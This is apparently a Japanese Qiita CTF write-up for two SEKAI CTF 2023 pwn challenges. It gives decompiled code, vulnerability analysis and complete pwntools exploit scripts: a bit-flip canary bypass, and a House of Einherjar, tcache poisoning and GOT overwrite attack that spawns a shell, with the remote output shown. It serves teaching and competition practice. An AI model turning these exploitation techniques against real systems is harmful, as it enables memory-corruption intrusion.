0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

Project SEKAI CTF 2023 Writeup (Text Sender, Cosmic Ray)

Last updated at Posted at 2023-08-28

はじめに

解けた問題の中で一番得点の高かった Text Sender とついでに Cosmic Ray の Writeup です.

Cosmic Ray

Why wait for the universe to send you a cosmic ray when you can do it yourself? Well today the wait is over with our brand new cosmic ray launcher 3000 coming to a CPU near you!

This technology is still under development, please leave a review when you are finished testing.

Author: Rench

nc chals.sekai.team 4077

dist.zip
└─< spwn
[*] Binary: cosmicray
[*] Libc:   libc-2.35.so
[*] Loader: ld-2.35.so

[*] file cosmicray
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec cosmicray
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Libc version: 2.35
[!] There are some dangerous functions:
gets
[*] cwe_checker cosmicray (press Ctrl+C to stop)
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004013c5 may be out of bounds
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00401305 (fopen).
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (004016dd) -> gets


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id 69389d485a9793dbe873f0ea2c93e02efaa9aa3d from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id 69389d485a9793dbe873f0ea2c93e02efaa9aa3d on any debuginfod server.
[!] Failed to unstrip libc
  • 指定した 1 ビットだけ反転させることができる
  • これで canary を突破できれば RIP を win 関数に飛ばす
  • 実行ファイルのアドレスはわかっているので,disasm.will.gl を使って探すと,canaray の分岐が
    JZ LAB__ ## 74 05
    
    となっているので,JZ を JNZ にする
    JNZ LAB__ ## 75 05
    
    アドレスは 0x4016f4
  • win 関数のアドレス
    └─< nm cosmicray | grep win
    00000000004012d6 T win
    
from pwn import *

binary_name = 'cosmicray'
exe  = ELF(binary_name, checksec=True)
libc = ELF('libc-2.35.so', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']

conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc  = lambda *x, **y: io.recv(*conv(*x), **y)
ru  = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn  = lambda *x, **y: io.send(*conv(*x), **y)
sl  = lambda *x, **y: io.sendline(*conv(*x), **y)
sa  = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)

if args.REMOTE:
    io = remote('chals.sekai.team', 4077)
elif args.LOCAL:
    io = remote('localhost', 4444)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', '''
        c
    ''', aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

rl()
rl()
sl(b'0x4016f4')
ru(b'to flip (0-7):\n')
sl(b'7')
ru(b'experience today:\n')
sl(b'A' * (8 * 6) + p64(1) + p64(0x4012d6))
io.interactive()
└─< py solve.py REMOTE
[*] '/home/toha/work/sekai_ctf_2023/pwn/cosmic_ray/dist/cosmicray'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to chals.sekai.team on port 4077: Done
[*] Switching to interactive mode
SEKAI{w0w_pwn_s0_ez_wh3n_I_can_s3nd_a_c05m1c_ray_thru_ur_cpu}
/run.sh: line 3: 12753 Segmentation fault      ./cosmicray
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to chals.sekai.team port 4077

Text Sender

I wanted to send multiple messages at one time so I made this text sender. Please try it and give me your opinion, thanks!

Author: Johnathan

nc chals.sekai.team 4000

textsender.zip
└─< spwn
[*] Binary: textsender
[*] Libc:   libc-2.32.so
[*] Loader: ld-2.32.so

[*] file textsender
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec textsender
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)
Libc version: 2.32
[*] cwe_checker textsender (press Ctrl+C to stop)
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004014b8 may be out of bounds
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004015cc may be out of bounds
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004016a3 may be out of bounds
[CWE134] (0.1) (Externally Controlled Format String) Potential externally controlled format string for call to __isoc99_scanf at 004012ab
[CWE467] (0.2) (Use of sizeof on a Pointer Type) sizeof on pointer at 00401658 (strncmp).
[CWE476] (0.2) (NULL Pointer Dereference) Memory access at 004014d8 may result in a NULL dereference
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00401323 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 004013a7 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 004013b5 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 004013c9 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00401723 (malloc).
[CWE676] (0.1) (Use of Potentially Dangerous Function) input (00401228) -> sprintf
[CWE676] (0.1) (Use of Potentially Dangerous Function) input (00401234) -> strlen


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id e1596c76d0d93d8a36378ba976f034f140618d59 from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id e1596c76d0d93d8a36378ba976f034f140618d59 on any debuginfod server.
[!] Failed to unstrip libc

Ghidra で読んでみると,以下のようになっている

void input(undefined8 input_target_addr,undefined8 input_message,uint length)
{
  size_t sVar1;
  char local_13 [9];
  ushort local_a;
  
  local_13[0] = '%';
  sprintf(local_13 + 1,"%d",(ulong)length);
  sVar1 = strlen(local_13);
  local_a = (ushort)sVar1;
  local_13[(int)(uint)local_a] = 's';
  local_13[(int)(local_a + 1)] = '%';
  local_13[(int)(local_a + 2)] = '*';
  local_13[(int)(local_a + 3)] = 'c';
  local_13[(int)(local_a + 4)] = '\0';
                    /* local_13 = f"%{length}s%*c\0" */
  printf("%s",input_message);
  __isoc99_scanf(local_13,input_target_addr);
  return;
}


void set_sender(void)
{
  sender = (undefined8 *)malloc(0x78);
                    /* 0x203a7265646e6553 == "Sender: " */
  *sender = 0x203a7265646e6553;
  input(sender + 1,"Sender\'s name: ",0x6f);
  puts("[*] Added!");
  return;
}


int add_message(long messages,byte *message_len)
{
  int res;
  void **message;
  void *pvVar1;
  byte message_len_;
  
  if (*message_len < 10) {
    message = (void **)malloc(0x10);
    pvVar1 = malloc(0x78);
    *message = pvVar1;
    pvVar1 = malloc(0x1f8);
    message[1] = pvVar1;
    input(*message,"Receiver: ",0x78);
    input(message[1],"Message: ",0x1f8);
    message_len_ = *message_len;
    *message_len = message_len_ + 1;
    *(void ***)((ulong)message_len_ * 8 + messages) = message;
    res = puts("[*] Added!");
  }
  else {
    puts("You reached maximum of message!");
    res = 0;
  }
  return res;
}


void edit_message(long messages,byte message_num)
{
  size_t getline_n;
  char *input_name;
  __ssize_t input_name_length;
  long j;
  int i;
  char local_11;
  long *message;
  
  local_11 = '\0';
  getline_n = 0;
  input_name = (char *)0x0;
  printf("Name: ");
  input_name_length = getline(&input_name,&getline_n,stdin);
  i = 0;
  while ((i < (int)(uint)message_num && (local_11 == '\0'))) {
    message = *(long **)(messages + (long)i * 8);
    local_11 = '\x01';
    j = 0;
    while ((j < input_name_length + -1 && (local_11 != '\0'))) {
      if (input_name[j] != *(char *)(j + *message)) {
        local_11 = '\0';
      }
      j = j + 1;
    }
    i = i + 1;
  }
  if (local_11 == '\0') {
    puts("[-] Cannot find name!");
  }
  else {
    printf("Old message: %s\n",message[1]);
    input(message[1],"New message: ",0x1f8);
    puts("[*] Changed!");
  }
  free(input_name);
  return;
}


void print_message(long param_1,byte message_num)
{
  undefined8 *puVar1;
  uint i;
  
  printf("Total: %hu draft.\n",(ulong)message_num);
  for (i = 0; (int)i < (int)(uint)message_num; i = i + 1) {
    puVar1 = *(undefined8 **)(param_1 + (long)(int)i * 8);
    printf("(Draft %d) %s: %s\n",(ulong)i,*puVar1,puVar1[1]);
  }
  return;
}


void send_message(long messages,byte *message_num)
{
  int iVar1;
  uint i;
  void **message;
  
  printf("Total: %hu draft.\n",(ulong)*message_num);
  if (sender != (char *)0x0) {
    iVar1 = strncmp(sender,"Sender: ",8);
    if (iVar1 == 0) {
      free(sender);
      printf("[*] Sent sender\'s name!");
    }
  }
  for (i = 0; (int)i < (int)(uint)*message_num; i = i + 1) {
    message = *(void ***)(messages + (long)(int)i * 8);
                    /* message[1] -> message_body
                       *message -> receiver */
    free(message[1]);
    free(*message);
    free(message);
    printf("[*] Sent draft %d!\n",(ulong)i);
  }
  *message_num = 0;
  return;
}
  • messages (0x10 + 0x50) は 10 個の message (0x10 + 0x10) のアドレスを格納している
  • message は receiver (0x08 + 0x78) と message_body (0x08 + 0x1f8) のアドレスを持つ
  • よって以下のようにヒープが確保される
    +------------+
    |    0x60    |
    +------------+
    |    0x20    |
    +------------+
    |    0x80    |
    +------------+
    |   0x200    |
    +------------+
    |    0x20    |
    +------------+
    |    0x80    |
    +------------+
    |    ...     |
    
  • さらに,sender でも 0x80 のヒープ領域が確保でき,これは send_message で free できるが,free する前に sender をもう一度上書きすると,free されないままになってしまう
  • edit_message 関数を呼び出した際もヒープが確保される (後述)

  • (脆弱性 1) input 関数内の scanf で BOF (1 バイトだけ NULL が BOF) する -> House of Einherjar
  • (脆弱性 2) edit_message での receiver の文字列比較は,後で getline で入力した receiver の長さで比較するので,元よりも長くすることで,それ以降の部分が一致しているか調べることができる
  • edit_message で getline 関数があるが,これは第二引数に 0 が与えられると入力の長さに応じてヒープ領域を確保するみたい
    • 確保するチャンクのサイズは 0x80, 0x100, 0x1f0, 0x3d0, ...
    • さらに,0x100 以上を確保するときは,tcache や bins からではなく,新しく top から確保する
    • free されるときはユーザ側で行うので,通常と同じになる
  • とりあえず,NULL Byte で何ができるかを考える
    • NULL Byte で書き潰されるのは,次の victim チャンクの size の部分になる
    • ここには prev_inuse フラグがあるので,ここを 0 にすることで,prev チャンクが使われていないかのように見せることができる
    • さらに,prev_size も書き換えて (victim チャンク - prev_size) の場所にチャンクがあるかのようにできる (fake chunk)
    • これで,victim チャンクを free したときに tcache, fastbin に繋がれなければ,prev チャンク (fake chunk) と併合されて free される
    • ここで,併合されるときは prev_size を確認して,prev チャンクのアドレスを取得して,prev チャンクを unlink する
      • チャンク p が unlink されるときは,p -> fd -> bk と p -> bk -> fd が共に p を指しているか確認される
      • p の fd, bk が自分自身を指すようにすると整合性が取れる
    • これで,fake chunk を持つ領域を使って UAF ができる
    • ただし,unlink をチェックを回避するために,これをするにはヒープのアドレスがわかっていないといけない
  • ヒープアドレスのリークには,脆弱性 2 を使う
    • send_message 関数では receiver との文字列比較がある
    • これは,確保している receiver の領域 (0x80) を超えていても,入力した文字数文 (最後の改行文字は含めない) だけ文字列比較をしてしまう
    • よって,ヒープのアドレスが確保されている領域まで比較すると,一致しているかでアドレスを調べることができる
    • 0x20 -> 0x80 (target) -> 0x200 の順で確保されていて,0x20 の領域にヒープアドレスをもつので,先に edit_message 関数を呼び 0x80 の領域を確保して,free することで,0x80 -> 0x20 -> 0x200 の順に確保できる
    • これで receiver の直後にヒープのアドレスを持つ領域を配置できる
  • 次に libc のアドレスをリークさせたいので,fake chunk を unsortedbin に繋げたいが,できそうにないので,tcache につなげて tcache posoning する
    • まず,edit_message 関数を 7 回呼び出して,入力する文字数を調整して 0x100 の tcache を一杯にする
    • add_message 関数で 0x20 -> 0x80 -> 0x200 と領域を確保する
    • この後ろに edit_message 関数で 0x100 の領域を確保し,同時に直前の receiver と文字列が一致するようにする
    • これで,message_body を編集できるので,NULL Byte Poisoning する
    • このときに,message_body の後半 0x100 バイトが後ろのチャンクに併合されるようにするため,fd, bk 用のアドレスや,prev_size などを調整して入力する
    • 併合されたあとは,そのまま top に併合される
    • これで以下のように top が実際には使用している領域に食い込むような配置になる
      |    ...     |
      +------------+
      |   0x100    |
      +------------+
      |    ...     |
      +------------+
      |   0x100    |
      +------------+
      |    0x20    | <- message
      +------------+
      |    0x80    | <- receiver
      +------------+
      |   0x200    | <- message_body
      +------------+
      |   0x100    | <- == reciver +alpha
      +------------+
      |    top     |
      +------------+
      
            |
            |
            V
      |    ...     |
      +------------+
      |   0x100    |
      +------------+
      |    ...     |
      +------------+
      |   0x100    |
      +------------+
      |    0x20    | <- message
      +------------+
      |    0x80    | <- receiver
      +------------+----------
      |   0x200    |  0x100
      + - - - - - -+----------
      |    top     |
      +------------+
      
  • これで次にヒープ領域を確保すると,最初の 0x100 バイトにかかる部分は,現在 2 つめの message_body を使って自由に書き換えることができる
  • add_message で確保すると,0x20, 0x80, 0x200 なので,3 つすべての領域のヘッダや fd, bk の部分は書き換えることができる
  • tcache に繋げるために,一度 send_message で解放する
    • このとき,確保した順番と,解放される順番を考えるとこのままでは操作できない
    • 確保した message を下位アドレスから順に A, B, C とすると tcache には C -> B -> A の順に繋がっていて,C から取り出すことになるため,B を使って C を書き換えるので,B を確保した時点で C は tcache には繋がっていない
    • よって,2 回 add_message を呼び出して,再び send_message で解放すると B -> C -> A の順になる
    • これで tcache の先頭の B を確保するときに,tcache に繋がっている C のチャンク 0x20, 0x80 と 0x200 を自由に書き換えられる
    • よって,C の fd を書き換えることで,C を確保したあと,A を確保しようとすると,書き換えた先の領域をヒープとして確保することになる
      • C の fd を書き換えたあとの tcache
        pwndbg> bins
        tcachebins
        0x20 [  2]: 0xa6ae40 —▸ 0xa6a380 ◂— 0 /* 'j\n' */
        0x80 [  2]: 0xa6ae60 —▸ 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403414 ◂— ...
        0x100 [  7]: 0xa6aba0 —▸ 0xa6aaa0 —▸ 0xa6a9a0 —▸ 0xa6a8a0 —▸ 0xa6a7a0 —▸ 0xa6a6a0 —▸ 0xa6a5a0 ◂— 0 /* 'j\n' */
        0x200 [  2]: 0xa6aee0 —▸ 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403414 ◂— ...
        
  • ここで,実行ファイルが No PIE のためアドレスがわかっているので,GOT 領域を使って,libc のリークや system の呼び出しを考える
    • GOT 領域の先頭に free があるので,ここから libc のベースアドレスをリークさせる
    • リークについてはヒープと同様にするため,C の 0x80 はここに領域を確保するように仕向ける
      • 直前のアドレスに元々なにか入っているので,それを確保する際に完全に消して,なおかつ,free のアドレスには 1 バイトもかからないようにする (edit_message 関数で free が呼び出されるため)
    • これでリークができれば,この free を system に書き換えられれば,edit_message 関数の free で入力文字列の先頭に "/bin/sh\x00" が入っていればシェルを得ることができる
    • よって,C の 0x200 も同じ領域を確保するようにしておいて,libc のアドレスのリークが終われば,free のアドレスを system のアドレスに書き換えるようにすれば良い
gef➤  got

GOT protection: Partial RelRO | GOT functions: 10
 
[0x404018] free@GLIBC_2.2.5  →  0x401036
[0x404020] strncmp@GLIBC_2.2.5  →  0x401046
[0x404028] puts@GLIBC_2.2.5  →  0x401056
[0x404030] strlen@GLIBC_2.2.5  →  0x401066
[0x404038] setbuf@GLIBC_2.2.5  →  0x401076
[0x404040] printf@GLIBC_2.2.5  →  0x401086
[0x404048] malloc@GLIBC_2.2.5  →  0x401096
[0x404050] __isoc99_scanf@GLIBC_2.7  →  0x4010a6
[0x404058] getline@GLIBC_2.2.5  →  0x4010b6
[0x404060] sprintf@GLIBC_2.2.5  →  0x4010c6


└─< readelf -s -W ./libc-2.32.so | grep " system@"     
  1454: 000000000004af30    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5


└─< readelf -s -W ./libc-2.32.so | grep " free@"  
  2389: 000000000008cef0   265 FUNC    GLOBAL DEFAULT   16 free@@GLIBC_2.2.5
from pwn import *

binary_name = 'textsender'
exe  = ELF(binary_name, checksec=True)
libc = ELF('libc-2.32.so', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']

conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc  = lambda *x, **y: io.recv(*conv(*x), **y)
ru  = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn  = lambda *x, **y: io.send(*conv(*x), **y)
sl  = lambda *x, **y: io.sendline(*conv(*x), **y)
sa  = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)

if args.REMOTE:
    io = remote('chals.sekai.team', 4000)
elif args.LOCAL:
    io = remote('localhost', 4444)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', '''
        c
    ''', aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

RECEIVER_LEN = 0x78
MESSAGE_BODY_LEN = 0x1f8
addr_got_free = 0x404018
offset_system = 0x000000000004af30
offset_free = 0x000000000008cef0

def set_sender(data):
    sla(b'> ', b'1')
    sla(b"Sender's name: ", data)

def add_message(receiver, message):
    sla(b'> ', b'2')
    sla(b'Receiver: ', receiver)
    sla(b'Message: ', message)

def edit_message(receiver, message):
    sla(b'> ', b'3')
    sla(b'Name: ', receiver)
    ru(b'Old message: ')
    res = io.recvline()[:-1]
    sla(b'New message: ', message)
    return res

def print_all():
    sla(b'> ', b'4')
    delim = b'------- MENU -------'
    return io.recvuntil(delim)[:-len(delim)]

def send_all():
    sla(b'> ', b'5')

## leak heap address
set_sender(b'hoge')
send_all()
add_message(b'A' * 8, b'B' * 8)

heap_addr = [0] ## LSByte of the target heap address is must be 0x00
payload = b'A' * 8 + p64(0) * 14 + p64(0x21)
while True:
    found = False
    for b in range(256):
        if b == 0x0a:
            continue
        sla(b'> ', b'3')
        sla(b'Name: ', payload + bytes(heap_addr + [b]))
        if b'Old message' in rl():
            sla(b'New message: ', b'XXXX')
            heap_addr.append(b)
            found = True
            break
    if not found:
        print('ERROR')
        break
    sla(b'> ', b'3')
    sla(b'Name: ', payload + bytes(heap_addr + [0]))
    if b'Old message' in rl():
        sla(b'New message: ', b'XXXX')
        break

heap_base = int.from_bytes(bytes(heap_addr[::-1]), 'big') - 0x300
print('heap base: ', hex(heap_base))

## House of Einherjar
add_message(b'B' * 8 * 14, b'hoge')
sla(b'> ', b'3')
sla(b'Name: ', b'B' * 8 * 14 + p64(0) + p64(0x201))
payload = p64(0) * 31
payload += p64(0x101) ## fake chunk size
payload += p64(heap_base + 0x100 + 0xd30) * 2 ## fake chunk fd and bk
payload += p64(0) * 28
payload += p64(0x100) ## prev size
sla(b'New message: ', payload) ## NULL Byte BOF

## sort tcache
add_message(b'hoge', b'huga')
send_all()
add_message(b'hoge', b'huga')
add_message(b'hoge', b'huga')
send_all()

## tcache poisoning
payload = b'A' * 0xf0
payload += p64(0)
payload += p64(0x21)
payload += p64((heap_base >> 12) ^ (heap_base + 0x380)) ## safe-linking
payload += p64(heap_base + 0x10) ## tcache key
payload += p64(0)
payload += p64(0x81)
payload += p64((heap_base >> 12) ^ (addr_got_free - 0x18)) ## tcache posoning
payload += p64(heap_base + 0x10) ## tcache key
payload += p64(0) * 13
payload += p64(0x201)
payload += p64((heap_base >> 12) ^ (addr_got_free - 0x18)) ## tcache posoning
payload += p64(heap_base + 0x10) ## tcache key
add_message(b'hoge', payload)

add_message(b'huga', b'piyo') ## GOT free
add_message(b'huga', b'/bin/sh\x00' + b'C' * (8 + 6)) ## GOT free

## leak libc base and GOT overwrite
addr_free = [0xf0] ## LSByte of "free" is 0xf0
payload = b'/bin/sh\x00' + b'C' * (8 + 6) + b'\x00\x00'
while True:
    found = False
    for b in range(256):
        if b == 0x0a:
            continue
        sla(b'> ', b'3')
        sla(b'Name: ', payload + bytes(addr_free + [b]))
        if b'Old message' in rl():
            sla(b'New message: ', b'/bin/sh\x00' + b'C' * (8 + 6))
            addr_free.append(b)
            found = True
            break
    if not found:
        print('ERROR')
        break
    sla(b'> ', b'3')
    sla(b'Name: ', payload + bytes(addr_free + [0]))
    if b'Old message' in rl():
        addr_free = int.from_bytes(bytes(addr_free[::-1]), 'big')
        libc_base = addr_free - offset_free
        addr_system = libc_base + offset_system
        print('addr free :', hex(addr_free))
        print('libc base :', hex(libc_base))
        sla(b'New message: ', payload + p64(addr_system)) ## GOT Overwrite
        break

io.interactive()
  • payload に改行文字が含まれることがあるので,失敗したりする
└─< py solve.py REMOTE
[*] '/home/toha/work/sekai_ctf_2023/pwn/text_sender/textsender'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
[+] Opening connection to chals.sekai.team on port 4000: Done
0xceb000
0x1b0
addr_free : 0x7fe8e5a86ef0
libc_base : 0x7fe8e59fa000
[*] Switching to interactive mode
[*] Changed!
$ ls
flag.txt
ld-2.32.so
libc-2.32.so
textsender
$ cat flag.txt
SEKAI{y0U_Kn@W_h0W_tO_c@NduCt_H0uS3_@f_31Nh3rJ4r_43422bb9c023c5a8c37388316956e7c4}
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?